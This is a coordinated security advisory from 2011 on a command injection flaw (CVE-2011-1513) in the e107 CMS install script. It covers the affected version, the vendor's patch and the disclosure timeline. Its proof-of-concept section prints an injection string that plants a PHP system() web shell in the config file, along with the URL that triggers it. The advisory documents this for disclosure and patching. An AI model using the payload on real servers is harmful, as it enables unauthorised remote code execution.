e107 CMS Script Command Injection

1. Advisory Information

Title: e107 CMS Script Command Injection
Advisory ID: CORE-2011-0810
Advisory URL: http://www.coresecurity.com/core-labs/advisories/e107-cms-script-command-injection
Date published: 2011-10-24
Date of last update: 2011-10-24
Vendors contacted: e107
Release mode: Coordinated release

2. Vulnerability Information

Class: OS command injection [CWE-78]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2011-1513

 

3. Vulnerability Description

When the install script for e107 CMS has not been removed, an attacker can "reinstall" the application using arbitrary parameters. If the attacker puts a valid MySql server followed a semicolon and PHP code, this will be executed when the config file gets requested. This parameters are stored in the config file "e107_config.php".

4. Vulnerable packages

  • e107 0.7.24
  • Older versions are probably affected too, but they were not checked.

5. Vendor Information, Solutions and Workarounds

The e107's team has issued patch for this issue in revision 12375 of its SVN repository. Also the development version of e107 was patched in revision 12376.

6. Credits

This vulnerability was discovered and researched by Matt Bergin and Matias Blanco. The publication of this advisory was coordinated by Fernando Russ.

 

7. Technical Description / Proof of Concept Code

A possible value for the MySql parameter could be:

 

localhost:63306';system($_GET['cmd']);$a='1

 

 

Then, when the e107_config.php page is requested like this http://www.example.com/e107_config.php?cmd=id, the command id is going to be executed.

8. Report Timeline

  • 2011-10-03: Technical details sent to the Vendor.
  • 2011-10-03: The e107 security team asks Core for a technical description of the vulnerability.
  • 2011-10-03: Core sends the technical description of the vulnerability
  • 2011-10-21: The e107 security team reports that the vulnerability was fixed. And is now live in the SVN for wider testing. (changeset 12375 and changeset 12376)
  • 2011-10-21: Core provides the CVE for this vulnerability.
  • 2011-10-24: Advisory CORE-2011-0810 is published.

 

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12. Disclaimer

The contents of this advisory are copyright (c) 2011 Core Security Technologies and (c) 2011 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

13. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security Technologies advisories team.